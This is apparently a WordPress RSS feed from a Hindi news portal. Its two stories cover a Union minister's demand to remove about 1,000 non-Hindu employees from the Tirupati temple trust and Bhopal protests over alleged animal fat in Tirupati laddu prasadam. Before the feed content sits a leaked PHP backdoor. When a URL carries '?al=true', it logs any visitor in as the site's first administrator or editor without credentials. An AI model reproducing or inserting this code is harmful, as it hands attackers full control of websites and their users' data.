// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Tirupati – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 13 Jul 2025 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 तिरुपति मंदिर में 1000 गैर-हिंदू कर्मचारी! उठी हटाने की मांग, बढ़ा विवाद https://pratyushaashakinayikiran.com/?p=170135 Sun, 13 Jul 2025 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=170135 तिरुपति

केंद्रीय गृह राज्य मंत्री बंदी संजय कुमार ने तिरुमला तिरुपति देवस्थानम (TTD) में गैर-हिंदू कर्मचारियों की नियुक्ति पर सवाल उठाए हैं। उन्होंने कहा कि करीब 1,000 गैर-हिंदू भगवान वेंकटेश्वर में आस्था रखे बिना या सनातन धर्म का पालन किए बिना टीटीडी में काम कर रहे हैं। केंद्रीय गृह राज्य मंत्री बंदी संजय कुमार ने सवाल किया, 'अगर गैर-हिंदू कर्मचारियों की भर्ती पहले हुई थी, तो अब तक इसमें बदलाव क्यों नहीं किया गया?' भाजपा नेता ने आग्रह किया कि इसमें कई छिपी हुई गड़बड़ियां हो सकती हैं। इसकी गहन जांच होनी चाहिए।

 'टीटीडी को तुष्टिकरण की राजनीति का मंच नहीं बनना चाहिए'
अपने जन्मदिन के मौके पर तिरुमला मंदिर में पूजा करने के बाद उन्होंने सोशल मीडिया प्लेटफॉर्म एक्स पर लिखा, 'टीटीडी में 1000 से अधिक गैर-हिंदू कर्मचारी क्यों हैं? क्या कभी मस्जिदों या चर्चों में हिंदुओं को नौकरी मिलती है? यह नफरत की बात नहीं है, यह धर्म की बात है। टीटीडी को तुष्टिकरण की राजनीति का मंच नहीं बनना चाहिए।'

केंद्रीय मंत्री ने कहा- टीटीडी का स्पष्ट हो मिशन
उन्होंने कहा कि टीटीडी का मिशन स्पष्ट होना चाहिए- मंदिरों का विकास करना, परंपराओं की रक्षा करना और मंदिरों से जुड़ी सभी जिम्मेदारियां केवल हिंदुओं को ही सौंपनी चाहिए।

बंदी संजय कुमार ने पत्रकारों से बातचीत के दौरान  सवाल उठाया, 'जो गैर-हिंदू भगवान वेंकटेश्वर के मंदिर में आते हैं, उन्हें यह बताना होता है कि वे भगवान में आस्था रखते हैं। फिर ऐसे में यह कैसे हो रहा है कि करीब 1,000 गैर-हिंदू कर्मचारी, जो भगवान में विश्वास नहीं रखते, टीटीडी में नौकरी कर रहे हैं?' उन्होंने हाल ही में हुए एक मामले का जिक्र किया जिसमें एक व्यक्ति को निलंबित कर दिया गया था, क्योंकि यह पाया गया कि वह टीटीडी का कर्मचारी होने के बावजूद नियमित रूप से चर्च जा रहा था।

'टीटीडी किसी की व्यक्तिगत संपत्ति नहीं है'
केंद्रीय मंत्री बी. संजय ने कहा कि टीटीडी किसी व्यक्ति की संपत्ति नहीं है, यह केवल हिंदुओं की धार्मिक संस्था है। उन्होंने मीडिया से बात करते हुए यह भी कहा कि सभी को 'सनातन धर्म' की रक्षा के लिए एकजुट होना चाहिए। उन्होंने टीटीडी अध्यक्ष से यह भी आग्रह किया कि वह तेलंगाना के कोण्डागट्टू, करीमनगर, वेमुलावाड़ा और इल्लंताकुंटा के मंदिरों के विकास पर ध्यान दें।

चर्च में प्रार्थना करने वाले कर्मचारी पर कार्रवाई
गौरतलब है कि टीटीडी ने 3 जुलाई को अपने सहायक कार्यकारी अधिकारी ए. राजशेखर बाबू को निलंबित कर दिया, क्योंकि वे तिरुपति जिले के पुत्तूर में हर रविवार चर्च की प्रार्थना में भाग ले रहे थे। टीटीडी के अनुसार, 'एक हिंदू धार्मिक संस्था के कर्मचारी के रूप में उन्होंने आचार संहिता का उल्लंघन किया है और गैर-जिम्मेदाराना व्यवहार किया है।'

पहले भी 18 कर्मचारियों पर हुई थी कार्रवाई
इससे पहले फरवरी 2025 में टीटीडी ने कुल 18 कर्मचारियों पर अनुशासनात्मक कार्रवाई की थी, जो गैर-हिंदू धार्मिक परंपराओं में भाग ले रहे थे। यह कार्रवाई टीटीडी के नए अध्यक्ष बी. आर. नायडू के उस एलान के बाद हुई थी, जिसमें उन्होंने कहा था कि टीटीडी और इससे जुड़े संस्थानों में केवल हिंदू ही कार्य कर सकते हैं। 

जांच की कर रहे मांग

राज्य मंत्री ने इस बात की जांच की मांग की कि बोर्ड में कितने गैर-हिंदू कार्यरत हैं। उन्होंने कहा कि हिंदू श्रद्धालुओं में गंभीर चिंता के बावजूद अभी तक कोई जांच क्यों नहीं शुरू की गई है। अपने जन्मदिन के अवसर पर बंदी संजय कुमार ने परिवार के सदस्यों के साथ भगवान वेंकटेश्वर के दर्शन किए। शांति, समृद्धि और सनातन धर्म की रक्षा के लिए उन्होंने प्रार्थना की। उन्होंने प्रधानमंत्री नरेंद्र मोदी के दीर्घायु होने की कामना भी की। उपराष्ट्रपति जगदीप धनखड़, प्रधानमंत्री मोदी, गृह मंत्री अमित शाह और मुख्यमंत्री रेवंत रेड्डी सहित कई गणमान्य व्यक्तियों ने कुमार को जन्मदिन की बधाई दी। शाह ने भी व्यक्तिगत रूप से फ़ोन करके उन्हें शुभकामनाएं दीं। कुमार ने सभी भक्तों और नागरिकों से सनातन धर्म की रक्षा और टीटीडी जैसी पवित्र संस्थाओं की पवित्रता सुनिश्चित करने के लिए एकजुट होने का आग्रह किया।

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तिरुपति : प्रसादम् में चर्बी की मिलावट से भोपाल में हिंदू संगठनों में आक्रोश, जगन रेड्डी का पुतला फूंका https://pratyushaashakinayikiran.com/?p=73038 Sat, 21 Sep 2024 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=73038 भोपाल
 आंध्र प्रदेश में स्थित तिरुपति बालाजी देवस्थानम के लड्डू प्रसाद का विवाद अब भोपाल तक पहुंच गया है। यहां हिंदू संगठनों ने प्रसाद के लड्डू में पशुओं की चर्बी व मछली का तेल मिलाए जाने पर तीव्र आक्रोश जताते हुए सड़कों पर उतरकर प्रदर्शन किया।

हिंदुओं की आस्था से खिलवाड़
संस्कृति बचाओ मंच के अध्यक्ष चंद्रशेखर तिवारी की अगुआई में संगठन के कार्यकर्ता टीटी नगर में प्लेटिनम प्लाजा स्थित आदर्श नवदुर्गा मंदिर के सामने एकत्रित हुए और नारेबाजी करते हुए आंध्र प्रदेश के तत्कालीन मुख्यमंत्री वाईएस जगन मोहन रेड्डी का पुतला दहन किया।

चंद्रशेखर तिवारी ने कहा कि तिरुपति बालाजी मंदिर में लड्डू में चर्बी और मछली का तेल मिले जाने से हिंदू समाज में रोष व्याप्त है। जगन मोहन रेड्डी सरकार ने हिंदू धर्म को भ्रष्ट करने का प्रयास किया। उन्होंने हमारे भगवान के प्रसाद को अपवित्र कर उन्हें भोग लगाया है।

लाखों-करोड़ों लोगों की आस्था तिरुपति मंदिर से जुड़ी हुई है। ऐसे में इस प्रकार का कृत्य घोर निंदनीय है। उनके खिलाफ आपराधिक प्रकरण दर्ज कर कड़ी कार्रवाई होनी चाहिए।

सनातनियों का अपमान
वहीं ओम शिव शक्ति सेवा मंडल के सचिव रिंकू भटेजा ने भी इस प्रकरण को लेकर आक्रोश जताया और कहा कि यह हम सनातनियों की धार्मिक आस्था पर बहुत बड़ा कुठाराघात है। यह निंदनीय और शर्मनाक है। इस तरह की घटना किसी भी कीमत पर बर्दाश्त नहीं की जाएगी। इसके लिए जो भी दोषी हैं, उन्हें कठोरतम सजा दी जाए।

केंद्र से दखल का अनुरोध
महंत अनिलानंद महाराज ने भी तिरुपति मंदिर के लड्डू वाले प्रसाद में पशुओं की चर्बी मिलने पर नाराजगी जताई है। महंत ने कहा कि आंध्र प्रदेश के मुख्यमंत्री चंद्रबाबू नायडू को तत्काल निष्पक्ष जांच करानी चाहिए। दोषियों पर कार्रवाई भी करें। केंद्र सरकार दखल देकर कड़ी कार्रवाई कराए। भगवान के प्रसाद और हिंदू धर्म के साथ इस प्रकार से खिलवाड़ बर्दाश्त नहीं है।

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